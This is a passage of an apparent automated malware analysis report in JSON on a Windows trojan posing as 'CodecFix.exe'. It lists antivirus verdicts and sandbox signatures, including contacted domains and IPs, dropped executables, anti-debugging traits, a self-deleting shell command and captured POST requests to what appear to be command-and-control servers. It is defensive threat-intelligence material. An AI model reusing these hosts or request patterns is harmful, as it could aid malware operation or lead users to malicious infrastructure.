saPL/","196608:jsaPL/N","196608:saPL/Ns","196608:aPL/Ns6","196608:PL/Ns6v","196608:L/Ns6v/","196608:/Ns6v/u","196608:Ns6v/uP","196608:s6v/uPc","196608:6v/uPcy","98304:O3F6n80","98304:3F6n80W","98304:F6n80W6","98304:6n80W6u","98304:n80W6uG","98304:80W6uGh","98304:0W6uGh1","98304:W6uGh1w","98304:6uGh1wH","98304:uGh1wHP","98304:Gh1wHPR","98304:h1wHPRs","98304:1wHPRs6","98304:wHPRs6v","98304:HPRs6vs"],"imphash":"1ff847646487d56f85778df99ff3728a"},"file_info":{"file_name":"CodecFix.exe","file_type":["peexe","executable"],"file_type_id":"exe","file_size":3522132,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1526281508000,"last_seen":1633992523000,"last_multi_scan":1633992523000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["cookle"]},"stats":{"av":{"malicious_count":9,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":0},"sandbox_signatures":{"informative_count":35,"suspicious_count":24,"malicious_count":14,"total":73},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"Ahnlab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/Indiloadz.tutjx","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"BitDefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bytehero":{"name":"ByteHero","success":true,"verdict":"malicious","threat_name":"Virus.Win32.Part.a","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"undetected","status":"clean","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cyren":{"name":"Cyren","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ikarus":{"name":"Ikarus","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Indiloadz","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 005304051 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Chapak.vlw","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Chapak.fcbbas","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"quickheal":{"name":"Quick Heal","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"malicious","threat_name":"Threat-Generic://Malicious-Confidence_95","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"symantec":{"name":"Symantec","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"TrendMicro","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"TrendMicro House Call","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"Trojan.Chapak","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xviruspersonalguard":{"name":"Xvirus Personal Guard","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Chapak","sources":[{"report_type":"quickscan","report_id":""}]}]},"sandbox_signatures":[{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.DLL at 00011746-00003100-27158-12-00AB239A\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00011746-00003100-27158-33-00AB2E14\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00011746-00003100-27158-237-00AB3FC8\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00013136-00003444-5061-12-0126239A\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00013136-00003444-5061-33-01262E14\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00013136-00003444-5061-237-01263FC8\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00015781-00003096-32818-12-0003239A\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00015781-00003096-32818-33-00032E14\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00015781-00003096-32818-237-00033FC8\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00017415-00004060-8869-89-00068CF8\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00017415-00004060-8869-364-0005D32C\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00017415-00004060-8869-759-0005D0BC","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Found strings in conjunction with a procedure lookup that resolve to a known API export symbol","description":"Found reference to API GetUserDefaultUILanguage@KERNEL32.DLL at 00020452-00002076-865-286-00407024\n Found reference to API SetProcessDEPPolicy@KERNEL32.DLL at 00020452-00002076-865-112-0040457C\n Found reference to API Wow64RevertWow64FsRedirection@KERNEL32.DLL at 00020452-00002076-865-97-004090A4","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-41","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-size sections","description":"Raw size of \"BSS\" is zero\n Raw size of \".tls\" is zero\n Raw size of \".reloc\" is zero\n Raw size of \".data\" is zero\n Raw size of \"UPX0\" is zero\n Raw size of \".bss\" is zero","origin":"Static Parser","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00011746-00003100-27158-121-00AB478C\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00013136-00003444-5061-121-0126478C\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00015781-00003096-32818-121-0003478C\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00017415-00004060-8869-21-0005D706\n GetSystemTime@KERNEL32.DLL at 00020452-00002076-865-173-0040102C\n GetSystemTime@KERNEL32.DLL at 00020452-00002076-865-248-004026C4","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersionExA@KERNEL32.DLL at 00020452-00002076-865-102-00405CF4\n GetVersionExA@kernel32.dll at 7175-1365-0040674C","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the system locale","description":"GetUserDefaultLCID@KERNEL32.DLL at 00017415-00004060-8869-743-0007AC8B\n EnumSystemLocalesW@KERNEL32.DLL at 00017415-00004060-8869-744-0007A5CB\n EnumSystemLocalesW@KERNEL32.DLL at 00017415-00004060-8869-745-0007A6B1\n EnumSystemLocalesW@KERNEL32.DLL at 00017415-00004060-8869-707-00073716\n EnumSystemLocalesW@KERNEL32.DLL at 00017415-00004060-8869-748-0007A616\n GetUserDefaultLCID@KERNEL32.DLL at 00017415-00004060-8869-711-00073B25\n GetUserDefaultUILanguage@KERNEL32.DLL at 00020452-00002076-865-286-00407024","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-49","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume size","description":"GetDiskFreeSpaceA@KERNEL32.DLL at 00011746-00003100-27158-54-00AB188B\n GetDiskFreeSpaceA@KERNEL32.DLL at 00013136-00003444-5061-54-0126188B\n GetDiskFreeSpaceA@KERNEL32.DLL at 00015781-00003096-32818-54-0003188B\n GetDiskFreeSpaceA@kernel32.dll at 7175-859-004066E4","origin":"Hybrid Analysis Technology","relevance":3,"id":"stream-37","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"informative","category":"Environment Awareness","name":"Possibly tries to detect the presence of a debugger","description":"GetProcessHeap@KERNEL32.dll at 12465-1653-00444458","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"$25","origin":"Registry Access","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET INFO EXE - Served Attached HTTP\" (SID: 2014520, Rev: 6, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$26","origin":"Registry Access","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$27","origin":"Registry Access","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"ocsp.trust-provider.com\"\n \"ocsp.comodoca4.com\"\n \"won.channeltest.bid\"\n \"geteasyfile.com\"\n \"api-ocean.info\"\n \"htagzdownload.pw\"\n \"www.divx.com\"\n \"ocsp.godaddy.com\"\n \"pastebin.com\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"104.20.208.21:443\"\n \"178.255.83.1:80\"\n \"2.18.212.33:80\"\n \"5.39.224.140:443\"\n \"5.39.224.8:443\"\n \"52.85.177.49:80\"\n \"149.202.87.154:80\"\n \"104.28.9.192:80\"\n \"51.254.189.96:80\"\n \"52.24.238.7:80\"\n \"52.24.238.7:443\"\n \"188.121.36.239:80\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"WizzByPass.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"informative","category":"General","name":"Creates a writable file in a temporary directory","description":"$28","origin":"API Call","relevance":1,"id":"api-4","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"irsetup.exe\" as clean (type is \"PE32 executable (GUI) Intel 80386 for MS Windows UPX compressed\"), Antivirus vendors marked dropped file \"lua5.1.dll\" as clean (type is \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"), Antivirus vendors marked dropped file \"faket.tmp\" as clean (type is \"PE32 executable (GUI) Intel 80386 for MS Windows\"), Antivirus vendors marked dropped file \"_setup64.tmp\" as clean (type is \"PE32+ executable (console) x86-64 for MS Windows\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"$29","origin":"Network Traffic","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"jfk0021.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\0478aed7fc25ae268474c704fd2a3e0f\\mscorlib.ni.dll\" at ECD50000","origin":"Loaded Module","id":"module-3","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"informative","category":"General","name":"Loads the visual basic runtime environment","description":"\"capi.exe\" loaded module \"%WINDIR%\\SysWOW64\\msvbvm60.dll\" at 72940000\n \"cubesta.exe\" loaded module \"%WINDIR%\\SysWOW64\\msvbvm60.dll\" at 72940000","origin":"Loaded Module","id":"module-0","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"irsetup.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")\n \"XVD.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"/C timeout 3 > Nul & Del \"%TEMP%\\XVD.exe\"\" on 2018-5-14.09:15:33.139","origin":"Monitored Target","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"irsetup.exe\" searching for class \"MS_WINHELP\"\n \"capi.exe\" searching for window \"XvidPackInstaller\"\n \"capi.exe\" searching for window \"Preparing setup...\"","origin":"API Call","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"informative","category":"General","name":"Sets a windows hook","description":"\"cubesta.exe\" sets a windows hook with filter \"WH_MOUSE\" for thread ID 3336","origin":"API Call","relevance":10,"id":"api-71","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$2a","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"informative","category":"Installation/Persistance","name":"Connects to LPC ports","description":"\"\" connecting to \"\\ThemeApiPort\"\n \"irsetup.exe\" connecting to \"\\ThemeApiPort\"\n \"gimi.exe\" connecting to \"\\ThemeApiPort\"\n \"salllbu.exe\" connecting to \"\\ThemeApiPort\"\n \"capi.exe\" connecting to \"\\ThemeApiPort\"\n \"MediaPlay.exe\" connecting to \"\\ThemeApiPort\"\n \"faket.exe\" connecting to \"\\ThemeApiPort\"\n \"cubesta.exe\" connecting to \"\\ThemeApiPort\"\n \"XVD.exe\" connecting to \"\\ThemeApiPort\"\n \"faket.tmp\" connecting to \"\\ThemeApiPort\"\n \"jfk0021.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"$2b","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"$2c","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$2d","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"informative","category":"Network Related","name":"HTTP request contains Base64 encoded artifacts","description":"\"\"{^we\", \"w]}4om8{4|yn\", \"]=M5\", \"ky{][77vwVi7\", \"y|\" opened \"\\Device\\KsecDD\"\n \"irsetup.exe\" opened \"\\Device\\KsecDD\"\n \"gimi.exe\" opened \"\\Device\\KsecDD\"\n \"salllbu.exe\" opened \"\\Device\\KsecDD\"\n \"capi.exe\" opened \"\\Device\\KsecDD\"\n \"MediaPlay.exe\" opened \"\\Device\\KsecDD\"\n \"cubesta.exe\" opened \"\\Device\\KsecDD\"\n \"XVD.exe\" opened \"\\Device\\KsecDD\"\n \"faket.tmp\" opened \"\\Device\\KsecDD\"\n \"jfk0021.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"informative","category":"Unusual Characteristics","name":"Found Delphi 4 - Delphi 2006 artifact","description":"\"faket.exe\" has a PE timestamp using the buggy magic timestamp 0x2A425E19. The real compilation date is probably Thu Jan 1 00:00:00 1970\n \"faket.tmp\" has a PE timestamp using the buggy magic timestamp 0x2A425E19. The real compilation date is probably Thu Jan 1 00:00:00 1970","origin":"Static Parser","relevance":10,"id":"static-19","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"CodecFix.exe.bin\" was detected as \"VC8 -> Microsoft Corporation\"\n \"faket.exe\" was detected as \"Borland Delphi 4.0\"\n \"irsetup.exe\" was detected as \"UPX v1.25 (Delphi) Stub\"\n \"lua5.1.dll\" was detected as \"Visual C++ 2005 DLL -> Microsoft\"\n \"MediaPlay.exe\" was detected as \"VC8 -> Microsoft Corporation\"\n \"gimi.exe\" was detected as \"VC8 -> Microsoft Corporation\"\n \"itdownload.dll\" was detected as \"Borland Delphi 4.0\"\n \"jfk0021.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"\n \"faket.tmp\" was detected as \"Borland Delphi 3.0\"\n \"_setup64.tmp\" was detected as \"Morphine v1.2 (DLL)\"","origin":"Static Parser","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries kernel debugger information","description":"\"irsetup.exe\" at 00012485-00003776-00000033-727240\n \"MediaPlay.exe\" at 00017415-00004060-00000033-1043427\n \"jfk0021.exe\" at 00023622-00004884-00000033-1330793","origin":"API Call","relevance":6,"id":"api-10","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)","description":"\"irsetup.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"DISABLECACHINGOFSSLPAGES\"; Value: \"00000000040000000400000000000000\")\n \"XVD.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"DISABLECACHINGOFSSLPAGES\"; Value: \"00000000040000000400000000000000\")\n \"faket.tmp\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"DISABLECACHINGOFSSLPAGES\"; Value: \"00000000040000000400000000000000\")","origin":"Registry Access","relevance":3,"id":"registry-29","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"jfk0021.exe\" is allocating memory with PAGE_GUARD access rights","origin":"API Call","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":".rsrc\n UPX1\n .rsrc with unusual entropies 7.45895265627\n 7.93547466953\n 7.97853937209","origin":"Static Parser","relevance":10,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file is packed with UPX","description":"\"irsetup.exe\" has a section named \"UPX0\"\n \"irsetup.exe\" has a section named \"UPX1\"","origin":"Static Parser","relevance":10,"id":"static-7","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"irsetup.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"MediaPlay.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"XVD.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"jfk0021.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the windows installation date","description":"\"MediaPlay.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")","origin":"Registry Access","relevance":10,"id":"registry-13","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"suspicious","category":"General","name":"Contains ability to find and load resources of a specific module","description":"FindResourceA@KERNEL32.DLL at 00020452-00002076-865-82-00409C34","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-32","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"suspicious","category":"General","name":"POSTs files to a webserver","description":"\"POST /request/autok?user=luxsoft&ver=10&key=a8d588afe11b4f83598303abd1b1afc3 HTTP/1.1Accept: */*User-Agent: Christmas Mystery 5.5.8Content-Type: application/x-www-form-urlencodedHost: api-ocean.infoContent-Length: 0Cache-Control: no-cache\" with no payload\n \"POST /request/conditions?user=luxsoft&ver=10&key=eed84a88a823e9d427fd6a87ebfbaf56&token=ab65433f1656dd2119c60d72fb4b924a HTTP/1.1Accept: */*User-Agent: Christmas Mystery 5.5.8Content-Type: application/x-www-form-urlencodedHost: api-ocean.infoContent-Length: 1769Cache-Control: no-cacheCookie: __cfduid=dc579c598c9e88c712e470dc8faf3c0861526281878\" with no payload\n \"POST /Series/Conumer1Pirlo.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: htagzdownload.pwContent-Length: 51Expect: 100-continueConnection: Keep-Alive\" with no payload","origin":"Network Traffic","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"suspicious","category":"General","name":"Reads configuration files","description":"\"\" read file \"%USERPROFILE%\\Desktop\\desktop.ini\"\n \"\" read file \"%USERPROFILE%\\Searches\\desktop.ini\"\n \"\" read file \"%USERPROFILE%\\Videos\\desktop.ini\"\n \"\" read file \"%USERPROFILE%\\Pictures\\desktop.ini\"\n \"\" read file \"%USERPROFILE%\\Contacts\\desktop.ini\"\n \"\" read file \"%USERPROFILE%\\Favorites\\desktop.ini\"\n \"\" read file \"%USERPROFILE%\\Music\\desktop.ini\"","origin":"API Call","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Drops executable files","description":"\"faket.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"\n \"cubesta.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"\n \"irsetup.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows UPX compressed\"\n \"lua5.1.dll\" has type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"\n \"MediaPlay.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"\n \"gimi.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"\n \"itdownload.dll\" has type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"\n \"capi.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"\n \"jfk0021.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"\n \"XVD.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"\n \"salllbu.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"\n \"faket.tmp\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"\n \"_setup64.tmp\" has type \"PE32+ executable (console) x86-64 for MS Windows\"","origin":"Binary File","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"9.1.0.0\"\n \"127.0.0.1\"\n \"255.255.255.255\"","origin":"File/Memory","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"5af935237ca3e157f119fbd4"}]},{"level":"suspicious","category":"Remote Access Related","name":"Reads terminal service related keys (often RDP related)","description":"\"capi.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"TSUSERENABLED\")\n \"cubesta.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"TSUSERENABLED\")\n \"XVD.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"TSUSERENABLED\")","origin":"Registry 